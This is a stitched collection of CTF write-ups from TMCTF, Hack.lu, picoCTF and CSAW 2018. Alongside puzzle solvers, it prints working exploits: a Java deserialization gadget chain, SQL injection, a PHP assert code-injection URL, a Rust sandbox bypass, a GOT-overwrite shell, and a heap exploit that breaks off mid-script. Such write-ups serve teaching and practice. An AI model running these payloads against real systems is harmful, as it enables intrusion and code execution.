```pythondef bin2text(s): l = [s[i:i+8] for i in range(0, len(s), 8)] return ''.join([chr(int(c, 2)) for c in l])
def binxor(s, t): return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))]) ...
pt0, pt1 = pt[:144], pt[144:]ct0, ct1 = ct[:144], ct[144:]st0, st1 = st[:144], st[144:]
# guess the result is R+K, L+R+Kk1 = binxor(pt0, ct1)k2 = binxor(binxor(ct0, ct1), pt1)
m1 = binxor(st1, k1)m2 = binxor(binxor(st0, st1), k2)print(bin2text(m1+m2))```FLAG: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
## Forensics-Crypto2
### 100 (sces60107)
I will finish these part of writeup in my free time QQ
### 200 (sces60107)
1. Use PyInstaller Extractor v1.92. Cannot use uncompyle2. But we can reconstruct the flag directly from the byte code3. xxd mausoleum and get this4. It's easy to find out the pieces of flag. And you can reconstruct the flag `TMCTF{the_s3cr3t_i$_unE@rth3d}`
### 300
We can dump a x86 boot sector from `email.pdf`, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project.
It has one more parameter `-g` than the original binary. At function `sub_C42690("34534534534534534534534erertert676575675675675", 10)` return value is `0xfbfa`, when we change hex to decimal, we got the flag `64506`
## Reversing-Other
### 100, 200 (sces60107)
I will finish these part of writeup in my free time QQ
### 400 (sces60107)
1. Use `dis.dis` then you can extract python code2. Use Z3 to reconstruct the flag```python=from z3 import *
s=Solver()
flag=[]
for i in range(24): flag.append(BitVec("flag_"+str(i),32)) s.add(flag[i] < 256) s.add(flag[i] > 0)
summ=0
for i in flag: summ+=is.add(summ%24 == 9)s.add(summ/24 == 104)inval=[]
for i in flag: inval.append(i^104)ROFL=list(reversed(inval))KYRYK = [0]*5QQRTQ = [0]*5KYRYJ = [0]*5QQRTW = [0]*5KYRYH = [0]*5QQRTE = [0]*5KYRYG = [0]*5QQRTR = [0]*5KYRYF = [0]*5QQRTY = [0]*5print len(inval)
for i in range(5): for j in range(4): KYRYK[i] ^= inval[i+j] QQRTQ[i] += inval[i+j] KYRYJ[i] ^= inval[i*j] QQRTW[i] += inval[i*j] KYRYH[i] ^= inval[i*j+8] QQRTE[i] += inval[i*j+8] KYRYG[i] ^= ROFL[i*j+8] QQRTR[i] += ROFL[i*j+8] KYRYF[i] ^= ROFL[i+j] QQRTY[i] += ROFL[i+j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1
for i,j in zip(KYRYK,'R) +6'): k=ord(j) s.add(i == k)for i,j in zip(QQRTQ,'l1:C('): k=ord(j) s.add(i == k)for i,j in zip(KYRYJ,' RP%A'): k=ord(j) s.add(i == k)for i,j in zip(QQRTW,[236,108,102,169,93]): s.add(i == j)for i,j in zip(KYRYH,' L30Z'): k=ord(j) s.add(i == k)for i,j in zip(QQRTE,' j36~'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(KYRYG,' M2S+'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(QQRTR,'4e\x9c{E'): k=ord(j) s.add(i == k)for i,j in zip(KYRYF,'6!2$D'): k=ord(j) s.add(i == k)for i,j in zip(QQRTY,']PaSs'): k=ord(j) s.add(i == k)print s.check()realflag = ""for i in flag: realflag+=chr(s.model()[i].as_long())print realflag# TMCTF{SlytherinPastTheReverser}```
## Misc
### 100```shell$ binwalk EATME.pdf
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8749016 0xB6DD8 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt749123 0xB6E43 Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt4969997 0x4BD60D End of Zip archive, footer length: 31, comment: "Boooooom!"4970099 0x4BD673 Zlib compressed data, default compression4971214 0x4BDACE Zlib compressed data, default compression4971660 0x4BDC8C Zlib compressed data, default compression```There are files `flag.txt` and `glaf.txt`. Try:```shell$ binwalk -Me EATME.pdfDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8^C```Flag is in `flag.txt`. Be sure to press `^C`, otherwise, the file `galf.txt` with size `-1` will be extracted...FLAG: `TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}`
### 200
We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them:
```shell$ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*' -o4.242410,2.9708804.242410,2.9708807.021890,1.989350...```
Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the [source](http://scikit-learn.org/stable/auto_examples/cluster/plot_dbscan.html) available. Also we adjust the DBSCAN parameters `eps` and `min_sample`. In fact several pairs of `eps` and `min_sample` can produce the desired result.
```pythonimport matplotlib.pyplot as pltimport seaborn as sns; sns.set() # for plot stylingimport numpy as npfrom sklearn.datasets.samples_generator import make_blobsfrom numpy import genfromtxtfrom sklearn.cluster import DBSCAN
#humm, encontre este codigo en un servidor remoto#estaba junto con el "traffic.pcap"# que podria ser?, like some sample code
X = np.genfromtxt('test_2.txt', delimiter=',')print(X)db = DBSCAN(eps=0.3, min_samples=10).fit(X)labels = db.labels_n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)core_samples_mask = np.zeros_like(db.labels_, dtype=bool)core_samples_mask[db.core_sample_indices_] = Trueunique_labels = set(labels)colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14)
#NOTE: what you see in the sky put it format TMCTF{replace_here}#where "replace_here" is what you seeplt.title('aaaaaaaa: %d' % n_clusters_)plt.show()```
With @sces60107's sharp eyes, we quicklly realize that this is the mirror or `FLAG:1`. And the rest of the work is to guess the flag. Try each combination of `One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....`
The flag comes out to be `TMCTF{flag:1}`.
### 300
The challenge is about java unsafe deserialization. The file includes `commons-collections-3.1.jar` and a web server, which deserializes the user's input:
```java// Server.java@WebServlet({"/jail"})public class Server extends HttpServlet{ private static final long serialVersionUID = 1L; public Server() {} protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception e) { response.setStatus(500); e.printStackTrace(response.getWriter()); } }} ```
```java// CustomOIS.javapublic class CustomOIS extends ObjectInputStream{ private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person" };
public CustomOIS(ServletInputStream is) throws IOException { super(is); }
public Class resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } return super.resolveClass(des); }}
```
```java// Person.java and jail/Flag.javapublic class Person implements Serializable { public String name; public Person(String name) { this.name = name; }} public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }}
```
I use [jd-gui](http://jd.benow.ca/) to decompile the java class files.
The objective is to invoke `Flag.getFlag()`. However, it's tricky because:
1. getFlag() is static (class method)2. Server.java only accesses the member `person.name`.3. The server doesn't invoke any other method.
So we quickly realize it's not possible to call `getFlag()`. We need RCE / more powerful exploit.
We note that the `CustomOIS.java` uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like `javax.management.BadAttributeValueExpException`.
With a quick Google we found [ysoserial](https://github.com/frohoff/ysoserial) can generate RCE payload for `commons-collections:3.1`, which is the dependency of the server.
Actually the `CommonsCollections5` utilizes those classes in the whitelist to trigger RCE, but `Java.lang.Runtime` is not in the whilelist. I think it's not able to RCE.
Though we cannot call `Runtime.exec()`, at least we can try to invoke `Flag.getFlag()`.
Here is the modified version of [CommonCollection5.java](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java):
```java// Some of the code is omitted....
import java.io.Serializable;class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } }
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class), // Flag class here new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getFlag", new Class[0] }), // invoke static method getFlag new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new ConstantTransformer(1) };
...
```
We have generate the payload, but the class name of Flag is incorrect; it should be `com.trendmicro.jail.Flag`. Let's use Python to do the replacement trick:
```python# The first byte is the length of the class namereplace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')```
The flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>Pico CTF 2018</span></span><span>/</span>root<span>/</span> </div> </div>
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|
**Description**
> Fill the grid with L's but avoid the marked spot for the W> > `nc misc.chal.csaw.io 9000`> > The origin is at (0,0) on the top left
**Files provided**
- [`description.pdf`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/take-an-l-description.pdf)
**Solution**
The challenge is a pretty simple algorithmic question - how to fill a `2^n x ^n` board with 1 hole with L-shaped tiles (each taking 3 squares). On connection the server always gives us a `n = 6`, i.e. a `64 x 64` board, but the fact that it is a power of two is significant, since this tiling works easily for any power of two board. Let's consider first how to tile boards with the hole in the top-left corner:
n = 0, board size: 1 x 1 O n = 1, board size: 2 x 2 O ║ ══╝ n = 2, board size: 4 x 4 O ║ ══╗ ══╝ ║ ║ ║ ══╝ ║ ╚══ ══╝ n = 4, board size: 8 x 8 O ║ ══╗ ╔══ ══╗ ══╝ ║ ║ ║ ══╗ ║ ║ ══╝ ║ ══╗ ║ ║ ╚══ ══╝ ║ ║ ══╝ ╔══ ║ ══╝ ║ ══╗ ║ ║ ╚══ ══╝ ║ ║ ║ ╚══ ║ ║ ══╝ ║ ╚══ ══╝ ╚══ ══╝ ...
Notice that in each step, the top-left quarter is tiled the same as the step before. Furthermore, look at `n = 4` if we take out the middle tile:
( ) ╔══ ══╗ ( n-1 ) ║ ══╗ ║ ( ) ══╗ ║ ║ ( ) ║ ══╝ ╔══ ║ ║ ══╗ ║ ║ ╚══ ══╝ ║ ║ ║ ╚══ ║ ║ ══╝ ║ ╚══ ══╝ ╚══ ══╝
All the quarters are actually tiled the same way, as `n - 1`, just turned differently. We just need to place a tile in the middle to connect them. In fact, it doesn't matter where the hole is in the board. We just need to separate the board into quarters and tile each quarter independently.
([Full Haxe script here](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/scripts/TakeL.hx))
`flag{m@n_that_was_sup3r_hard_i_sh0uld_have_just_taken_the_L}` |
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# 1-bit-missile---**Points:** 271 | **Solves:** 39/1035 | **Category:** Reverse
The laser cannon is aiming in the wrong direction.
Maybe a precise shot can calibrate it.
`nc arcade.fluxfingers.net 1816`
[Download](1_bit_missile_2869d5c89c974929b5b585b0586345ff.zip)---
[Bahasa Indonesia](#bahasa-indonesia)
## EnglishThe binary provided is a dumped ROM that can be run with `qemu`.
```qemu-system-i386 -bios rom -serial stdio```
In binary there is also a flag string at offset 143075.
```$ strings -a -t d rom | grep flag143075 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}148568 %s%s resource base %llx size %llx align %d gran %d limit %llx flags %lx index %lx152945 Code: %d eflags: %08x cr2: %08x```
Service at 'arcade.fluxfingers.net: 1816' run the similar program with different flag. We can convert 1 bit from ROM to 0 at any offset. Before changing the bit, the service also displays bytes at the selected offset.
```Enter target byte [0 - 262143]: 140000]> 01001101 <[Enter target bit: [0 - 7]: 0}X> ---------------------------------------{0}]> 01001100 <[
coreboot-4.8-1707-g33cd6d5-dirty Sun Oct 14 23:58:10 UTC 2018 ramstage starting......Jumping to boot code at 00100000(00fd7000)FLAG if hit confirmed:MISSED!```
By using the bytes leak, we can leak the flag string at offset 143075.
The following is the script used.
```python
from pwn import *
now = ''flag_offset = 143075flag = ''
while (now != '}'): r = remote('arcade.fluxfingers.net', 1816) r.recvuntil(': ') r.sendline(str(flag_offset)) leak = r.recvline()[3:-4] now = chr(int(leak, 2)) flag += now flag_offset += 1
print flag```
Flag: **flag{only_cb_can_run_this_simple_elf}**
## Bahasa IndonesiaBinary yang diberikan adalah sebuah ROM dump yang dapat dijalankan dengan `qemu`.
```qemu-system-i386 -bios rom -serial stdio```
Pada binary juga terdapat flag pada offset 143075
```$ strings -a -t d rom | grep flag143075 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}148568 %s%s resource base %llx size %llx align %d gran %d limit %llx flags %lx index %lx152945 Code: %d eflags: %08x cr2: %08x```
Layanan pada `arcade.fluxfingers.net:1816` menjalankan program yang sepertinya flagnya sudah diubah. Kita dapat mengubah 1 bit dari ROM menjadi 0 pada offset manapun. Sebelum diubah, layanan juga menampilkan byte pada offset yang dipilih.
```Enter target byte [0 - 262143]: 140000]> 01001101 <[Enter target bit: [0 - 7]: 0}X> ---------------------------------------{0}]> 01001100 <[
coreboot-4.8-1707-g33cd6d5-dirty Sun Oct 14 23:58:10 UTC 2018 ramstage starting......Jumping to boot code at 00100000(00fd7000)FLAG if hit confirmed:MISSED!```
Dengan memanfaatkan leak pada bytes, kita dapat melakukan leak pada string flag yang ada di offset 143075.
Berikut adalah script yang digunakan.
```python
from pwn import *
now = ''flag_offset = 143075flag = ''
while (now != '}'): r = remote('arcade.fluxfingers.net', 1816) r.recvuntil(': ') r.sendline(str(flag_offset)) leak = r.recvline()[3:-4] now = chr(int(leak, 2)) flag += now flag_offset += 1
print flag```
Flag: **flag{only_cb_can_run_this_simple_elf}** |
Problem Statement(600 points):
There is a website running at http://2018shell2.picoctf.com:38834 (link). We need to get into any user for a flag!
Tags : python, sql operator used : "Like"
Solution:
So in this question we have to give the answer but we don't know anything.So i entered "admin" as input which returned "wrong" with a sql statement :
SQL query: SELECT * FROM answers WHERE answer='admin'
So this gives me a lot of hint to the solution.Next time i entered : 'Union SELECT * FROM answers WHERE answer Like '%a% [ Notice i type (') in starting but not in the end ]
it returned "you are so close"
so i made a python script to find all the alphabet and numbers in the answer.You can find that script here.After running the script i got my letters and number it was : adhinstx14
but it was not ordered so to make it ordered i made changes in my python script.I stored my answer in variable ans.So ans="adhinstx14" and changes the sql query to 'Union SELECT * FROM answers WHERE answer Like '"+i+"%" where i are the letters of ans.You can find code here(order.py).
The code outputted tha answer = 41andsixsixths
i submitted the code but it was Wrong!!!
Hmmm.. I then realised that the Like opereator does not check the capitalisation so tried with different capitalisation and got the answer which is : 41AndSixSixths
And i was awarded with flag after entering this.
The flag was : Your flag is: picoCTF{qu3stions_ar3_h4rd_8f84b784}
|
[https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Hack.lu%20CTF%202018/Heap%20Heaven%202/exploit.py](https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Hack.lu%20CTF%202018/Heap%20Heaven%202/exploit.py) |
# Baby PHP- Category : Web- Points : Dynamic- Flag: `REDACTED`
## ChallengePHP is a popular general-purpose scripting language that is especially suited to web development.
Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.
Can you untangle this mess?!
## Test 1```@$msg = $_GET['msg'];if(@file_get_contents($msg)!=="Hello Challenge!"){ die('Wow so rude!!!!1');}```Need to set the variable `msg` that is equal to `Hello Challenge!`. In order to do this you can put the b64 string as data to be read in like a file. \`msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ`
## Test 2```if(intval($k1) !== $cc || $k1 === $cc){ die("lol no\n");}```This is basic [PHP Type Juggling.](http://php.net/manual/en/language.types.type-juggling.php) You need to get the intval of the key you enter to be equal to cc(`1337`) without it being literally the same. By appending e0 to the end it will evaluate as 1337 * 10^0 and will be different literally from 1337. \`key1=1337e0`
## Test 3```if(strlen($k2) == $bb){ if(preg_match('/^\d+＄/', $k2) && !is_numeric($k2)){ if($k2 == $cc){ @$cc = $_GET['cc']; } }}```For this test the value you input for key2 is evaluated against $bb(42). Then it is put through a regex which states that it must be digits at the start ending with the special character ＄ that must also not be numeric. The dollar sign is a bit tricky because normally in regex that denotes the end of string but it is actually a special unicode $ character. What the regex actually states is that it must be digits unitl the special character and then does not check after that. To pass the eval vs cc which is still 1337 you can put 1337＄ then pad with a to reach the length needed, and the cc is open for you to input. \`key2=1337＄aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`
## Test 4```if(substr($cc, $bb) === sha1($cc)){ foreach ($_GET as $lel => $hack){ $$lel = $hack; }}```This test checks if the substring of cc after char bb is equal to the hash of cc. This is impossible because you cannot make a hash that is equal to itself and would run into a constantly changing hash when modifying it. By passing it an array this check is null and automatically passes as true. The value of cc is not important other than then fact you initialize it as an array. After that the [foreach](http://php.net/manual/en/control-structures.foreach.php) function iterates over the values in the array that are added after cc and creates new variables that are added globally. This is important for the next test. \`cc[]=1234`
## Test 5```$b = "2";$a="b";//;1=b
if($$a !== $k1){ die("lel no\n");}```Looking at the weird string at the top, I figured it probably did something but couldn't quite figure it out so I just worked with the function in the previous test. I could overwrite variables now so I made a new k1 that was equal to 2 and then made another variable named hack that I hoped would be passed to $a and it magically was. So k1=2 and then hack=a=k1 which made the test pass.\`k1=2` `hack=k1 `
## Final Test```// plz die nowassert_options(ASSERT_BAIL, 1);assert("$bb == $cc");
echo "Good Job ;)";// TODO// echo $flag; ```For the final test it uses the assert function which returns a bool. If ASSERT_BAIL == 1 then the program will die on a false hit. Another interesting feature about [assert](http://php.net/manual/en/function.assert.php) is that it executes the code which is inside of it. So I can make a new variable $bb that runs the print flag command and then comments out the rest making the assert true and printing the flag.`bb=print($flag) ;//`
Final url inject:\https://arcade.fluxfingers.net:1819/?msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ&key1=1337e0&key2=1337%EF%BC%84aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&cc[]=1234&k1=2&hack=k1&bb=print($flag)%20;// |
[https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Hack.lu%20CTF%202018/Baby%20Kernel/exploit.py](https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Hack.lu%20CTF%202018/Baby%20Kernel/exploit.py) |
This was a fun challenge. We're only allowed to use safe rust code (`-F unsafe_code` passed to rustc). First I tried to find issues that allowed me to do something unsafe from within safe rust code. However, this didn't yield any results.
Then I noticed that one can download the `codepad` binary from the web "shell" interface, via https://arcade.fluxfingers.net:1814/cat/target/release/codepad. A quick look in binja revealed that the binary was compiled with the unredacted version of `main.rs`. The sandbox is strict seccomp mode, which only allows read/write to stdin/stdout/stderr and exit. It is activated by a call to the prctl libc function:
```cprctl(22, SECCOMP_SET_MODE_STRICT);```
Since rust statically links all rust libraries (such as the `code` library we control), I was wondering whether I could override the prctl function from within the code library namespace. Turns out this actually works.We can specify a local function called `prctl` and apparently this will override the external import. We'll just have to make sure it's externally visible and not mangled (i.e., not namespaced like a normal rust function):
```rust#[no_mangle]pub extern "C" fn prctl(a: i64, b: i64) -> i64 { println!("fake prctl"); 0}```
This fake prctl will prevent the sandbox from becoming active and we can simply use rust to read the flag file.
```rustuse std::fs::File;use std::io::prelude::*;
// fake prctl#[no_mangle]pub extern "C" fn prctl(a: i64, b: i64) -> i64 { println!("fake prctl"); 0}
pub fn code() { // now we can simply open the flag and read it, since the sandbox was never made active.
println!("hello!");
println!("opening file!"); let fname = "./flag.txt";
let mut file = match File::open(fname) { Ok(file) => file, Err(error) => { println!("failed :(\n{}", error); panic!("paaanic"); } };
println!("reading file!"); let mut contents = String::new(); file.read_to_string(&mut contents) .expect("something went wrong reading the file");
println!("result:\n{}", contents);}```
the output:
```$ rusty.shplease wait...rustc 1.20.0 (f3d6973f4 2017-08-27) Compiling code v0.1.0 (file:///tmp/tmprliab8pe/codepad/lib/code)warning: unused variable: `a` --> lib/code/src/lib.rs:5:25 |5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 { | ^ | = note: #[warn(unused_variables)] on by defaultwarning: unused variable: `b` --> lib/code/src/lib.rs:5:33 |5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 { | ^ Finished dev [unoptimized + debuginfo] target(s) in 0.46 secs Compiling libc v0.2.43 Compiling code v0.1.0 (file:///tmp/tmprliab8pe/codepad/lib/code)warning: unused variable: `a` --> lib/code/src/lib.rs:5:25 |5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 { | ^ | = note: #[warn(unused_variables)] on by defaultwarning: unused variable: `b` --> lib/code/src/lib.rs:5:33 |5 | pub extern "C" fn prctl(a: i64, b: i64) -> i64 { | ^ Compiling rand v0.4.3 Compiling codepad v0.1.0 (file:///tmp/tmprliab8pe/codepad) Finished dev [unoptimized + debuginfo] target(s) in 5.74 secs Running `target/debug/codepad`fake prctlhello!opening file!reading file!result:flag{safe_code_is_unsafe}``` |
Our plan is to overwrite:- puts @ GOT by &vuln- printf @ GOT by &system
Result of overwriting:
```sh$ py solve.py REMOTE[*] '/home/zzzz/pico18/pwn/echo-back/echoback' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)[*] Trying to write: 0x804a010 : 0x8048460 0x804a01c : 0x80485ab[+] Opening connection to 2018shell2.picoctf.com on port 37402: Done[+] Here're your shell![*] Switching to interactive modetotal 76drwxr-x--- 2 hacksports echo-back_0 4096 Sep 28 07:45 .drwxr-x--x 576 root root 53248 Sep 30 03:50 ..-rwxr-sr-x 1 hacksports echo-back_0 7684 Sep 28 07:45 echoback-rw-rw-r-- 1 hacksports hacksports 364 Sep 28 07:45 echoback.c-r--r----- 1 hacksports echo-back_0 54 Sep 28 07:45 flag.txt-rwxr-sr-x 1 hacksports echo-back_0 116 Sep 28 07:45 xinet_startup.sh$ cat flag.txtpicoCTF{foRm4t_stRinGs_aRe_3xtra_DanGer0us_ee5a92ac}``` |
## TL;DR1. Get the keystream where no permutation is applied.2. Get the keystream where the only permutation is shift left in last round.3. Xor those keystream to eliminate the addition of key at last step.4. Calculate the inverse to recover the key. |
We initially tried submitting safe Rust that used the standard library's File object to read the flag. Sandwiching this in between `println!`'s showed that the process was silently dying after the first print, but before the second print, from which we inferred the existence of the seccomp filter. Attempting to use unsafe code to search the process's own address space was stymied by the presence of `-F unsafe_code` in the build script.
I then tried to find issues on Rust's issue tracker that were tagged "I-unsound", which are compiler bugs known to be able to violate memory safety in "safe" code.
The first one I tried, https://github.com/rust-lang/rust/issues/10184, is an issue with casting a float to an integer and using it to index into an array: due to how LLVM handles float casts, this triggers undefined behavior, leading to LLVM mistakenly thinking that an obscenely large float is in-bounds and optimizing out the bounds check. The issue has a proof of concept in one of the posts:```#[inline(never)]pub fn f(ary: &[u8; 5]) -> &[u8] { let idx = 1e100f64 as usize; &ary[idx..]}
fn main() { println!("{}", f(&[;; 5])[0xdeadbeef]);}```But unfortunately (for the purposes of exploitation) it panics in debug mode (which codepad uses) because the optimizer isn't invoked, so the bounds check is still there.
The next issue I tried, https://github.com/rust-lang/rust/issues/27282, required a bit of work to turn into an arbitrary read. The bug is that it's possible via an interaction of 3 different language features (guard clauses, lambdas, and reborrowing) to change the tag of a value in between the cases of a match statement. This causes an arm of the match statement to be executed with the wrong tag. The initial POC from the thread```fn main() { match Some(&4) { None => {}, ref mut foo if { (|| { let bar = foo; bar.take() })(); false } => {}, Some(s) => println!("{}", *s) }}```doesn't allow values to be cast, or arbitrary addresses to be read. If the value were a Result instead of an Option, this would be easy to weaponise; swapping the tag out on a Result<A,B> lets you cast an A to a B. Result doesn't have a direct equivalent of Option::take, but rewriting it to use a custom sum type and manually implementing Option::take gives insight into how to accomplish the cast despite that:```enum MyOption { MyNone, MySome(A) }use MyOption::{MyNone, MySome};
impl MyOption { fn take(&mut self) -> Option { match ::std::mem::replace(self, MyNone) { MyNone => None, MySome(x) => Some(x), } }}
fn main() { match MySome(&4) { MyNone => {}, ref mut foo if { (|| { let bar = foo; bar.take() })(); false } => {}, MySome(s) => println!("{}", *s) }}```mem::replace allows us to swap out the tag just like Option::take, and it works on Result as well. With this, we can forge a pointer (which is safe since it's not dereferenced as a pointer) to arbitrary memory, cast it to a reference using the bug, and dereference it (since references are guaranteed to point to valid memory in the absence of unsafe code/compiler bugs):```fn read_via_27282(addr: usize) -> u8 { let mut y = 4; let mut x : Result<&mut u8, *mut u8> = Ok(&mut y); match x { Err(_) => (), ref mut foo if { (|| { let bar = foo; let _err = ::std::mem::replace(bar, Err(addr as _)); })(); false } => (), Ok(ref s) => { return **s; }, } panic!("this is unreachable in release mode, but in debug mode, this gets hit");}```Unfortunately, this also fails to work in debug mode (there's some weird fall-through behaviour instead).
Fortunately, the third issue I looked at, https://github.com/rust-lang/rust/issues/25860, does end up working in debug mode. The gadget from the issue has the signature `fn bad<'a, T>(x: &'a T) -> &'static T`, `'a` is an arbitrary lifetime, `'static` is the longest possible lifetime (e.g. the type of stuff in .data, that's never freed). `bad` is operationally the identity, so if you pass it something that gets freed at the end of a block (e.g. any RAII type that internally manages a heap allocation), it still does free it at runtime, but borrowcheck still thinks that the output is live (since it's `&'static` so it lives forever), so it lets you return the freed/dangling value from the block.
This allows us to read arbitrary memory by aliasing a Vec<u8>'s {pointer,capacity,length} fields to a heap-allocated triple of usize's:```static UNIT: &'static &'static () = &&(;;
fn foo<'a, 'b, T>(_: &'a &'b (), v: &'b T) -> &'a T { v }
fn bad<'a, T>(x: &'a T) -> &'static T { let f: fn(_, &'a T) -> &'static T = foo; f(UNIT, x)}
fn inner() -> &'static Vec<u8> { let x = Box::new(Vec::new()); bad(&*x)}
let x = inner();let mut y = Box::new((1usize, 2usize, 3usize));println!("x: {:?} {} {}", x.as_ptr(), x.capacity(), x.len());
let mut r = |addr: usize| { y.0 = addr; x[0] };```
Concurrently to my testing of the bugs, my teammate glenns found that a sample binary could be downloaded directly from the web interface via `wget https://arcade.fluxfingers.net:1814/cat/target/release/codepad` and reversed it to find that the flag was read into the heap as a pair of u32's, one of which was random, and the other of which was the same random value xor'd with the flag byte.
Combining this knowledge with the arbitrary read via the issue-25860 UAF, we scanned the heap backwards from a fresh allocation to find consecutive words that xor'd to printable ASCII, which yielded the flag.
The complete exploit code is available [on GitHub](https://github.com/aweinstock314/aweinstock-ctf-writeups/blob/80193b18b76822cb1eb1661e91961e11e1641855/hacklu_2018/rustycodepad/exploit_rustycodepad.rs). |
[https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Hack.lu%20CTF%202018/Baby%20Reverse/solve.py](https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Hack.lu%20CTF%202018/Baby%20Reverse/solve.py) |
* There's an integer underflow when checking the write address, allowing arbitrary writes if you mmap at `0x10000` and have a size >= `0x20001`.* leak libc via unsorted bin* overwrite `GL(dl_rtld_lock_recursive)` with system* overwrite `dl_load_lock` with "/bin/sh"* dl-fini will call `__rtld_lock_lock_recursive (GL(dl_load_lock));`* calculate remote ld_offet looping with +/- 0x1000
--vakzz
Exploit:
```python#!/usr/bin/env python2# pylint: skip-file
from pwn import *
def location(loc): p.sendlineafter(" (default 0x123456789000)?", str(loc))
def write(offset, data, size=None): p.sendlineafter("[4] : exit", "1") if size: p.sendlineafter(" write?", str(size)) else: p.sendlineafter(" write?", str(len(data))) p.sendlineafter(" offset?", str(offset)) p.send(data)
def free(offset): p.sendlineafter("[4] : exit", "2") p.sendlineafter(" free?", str(offset))
def leak(offset): p.sendlineafter("[4] : exit", "3") p.sendlineafter(" leak?\n", str(offset)) return u64(p.recvuntil("\nPlease", drop=True).ljust(8, "\x00"))
def exploit(): """ if we mmap at 0x10000 then we write to anywhere so long as size >= 0x20001 """ location(0x10000)
size = 0x500 for i in range(3): write(size*i, p64(size) + p64(size | 1))
free(0x10) libc_leak = leak(0x11) << 8
